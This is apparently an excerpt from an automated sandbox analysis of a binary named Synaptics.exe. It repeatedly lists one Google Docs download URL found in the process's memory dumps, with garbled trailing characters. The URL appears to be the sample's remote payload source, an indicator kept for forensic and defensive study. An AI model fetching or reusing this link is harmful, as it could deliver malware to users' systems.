Source: Synaptics.exe, 00000002.00000002.3087265366.0000000007EA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1.
Source: Synaptics.exe, 00000002.00000002.3085464529.0000000005514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download10
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1D
Source: Synaptics.exe, 00000002.00000003.1762590024.000000000556A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.0000000005523000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1w
Source: Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3113635828.000000001DF88000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095166277.000000000F270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.0000000005523000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2
Source: Synaptics.exe, 00000002.00000002.3159364233.000000003D65E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083960737.0000000000836000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1761906600.000000000085E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3
Source: Synaptics.exe, 00000002.00000002.3083960737.0000000000836000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3:15:
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3I
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1762320839.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055C3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095166277.000000000F2AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E289000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4
Source: Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3113635828.000000001DF88000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1761906600.0000000000869000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5
Source: Synaptics.exe, 00000002.00000002.3085464529.0000000005514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download51
Source: Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6K
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6o
Source: Synaptics.exe, 00000002.00000003.1762590024.000000000556A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.0000000005523000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6v
Source: Synaptics.exe, 00000002.00000002.3159364233.000000003D65E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3094165816.000000000F1C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7G
Source: Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3113635828.000000001DF88000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1762320839.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055C3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095166277.000000000F2AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E289000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083960737.0000000000865000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1761906600.0000000000869000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8
Source: Synaptics.exe, 00000002.00000002.3083960737.0000000000836000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007DC0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9
Source: Synaptics.exe, 00000002.00000002.3085464529.0000000005514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download93
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9K
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9o
Source: Synaptics.exe, 00000002.00000003.1762590024.000000000556A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.0000000005523000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9v
Source: Synaptics.exe, 00000002.00000002.3087265366.0000000007E37000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3097089201.000000000F3AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095166277.000000000F270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:
Source: Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:(
Source: Synaptics.exe, 00000002.00000002.3085464529.0000000005514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:15:;BnlM
Source: Synaptics.exe, 00000002.00000002.3159364233.000000003D65E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083960737.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083960737.0000000000865000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1761906600.0000000000869000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;C
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;H
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1762320839.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=
Source: Synaptics.exe, 00000002.00000002.3159364233.000000003D65E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083960737.0000000000836000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1761906600.000000000085E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083960737.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?
Source: Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1762320839.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadA
Source: Synaptics.exe, 00000002.00000002.3085464529.0000000005514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadA3
Source: Synaptics.exe, 00000002.00000002.3083960737.0000000000836000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007E37000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3097089201.000000000F3AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3094165816.000000000F1C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095166277.000000000F270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3167778562.0000000044BCE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadB
Source: Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadB(
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadBJ
Source: Synaptics.exe, 00000002.00000002.3159364233.000000003D65E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadC
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadCF
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadCo
Source: Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007EA2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055C3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E289000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083960737.0000000000865000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1761906600.0000000000869000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadD
Source: Synaptics.exe, 00000002.00000002.3098819999.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDene
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDene/
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDenet
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDenetYB
Source: Synaptics.exe, 00000002.00000002.3098819999.000000000F43C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDene~
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDeskt
Source: Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3097089201.000000000F3AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1762320839.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055C3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadE
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadED
Source: Synaptics.exe, 00000002.00000002.3087265366.0000000007E37000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3097089201.000000000F3AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3098819999.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3113635828.000000001DF88000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095166277.000000000F270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.0000000005523000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadF
Source: Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadF)
Source: Synaptics.exe, 00000002.00000002.3083960737.0000000000836000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadFull-
Source: Synaptics.exe, 00000002.00000002.3159364233.000000003D65E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083960737.0000000000836000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3098819999.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1761906600.000000000085E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadG
Source: Synaptics.exe, 00000002.00000002.3083960737.0000000000836000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadGGJ
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadGI
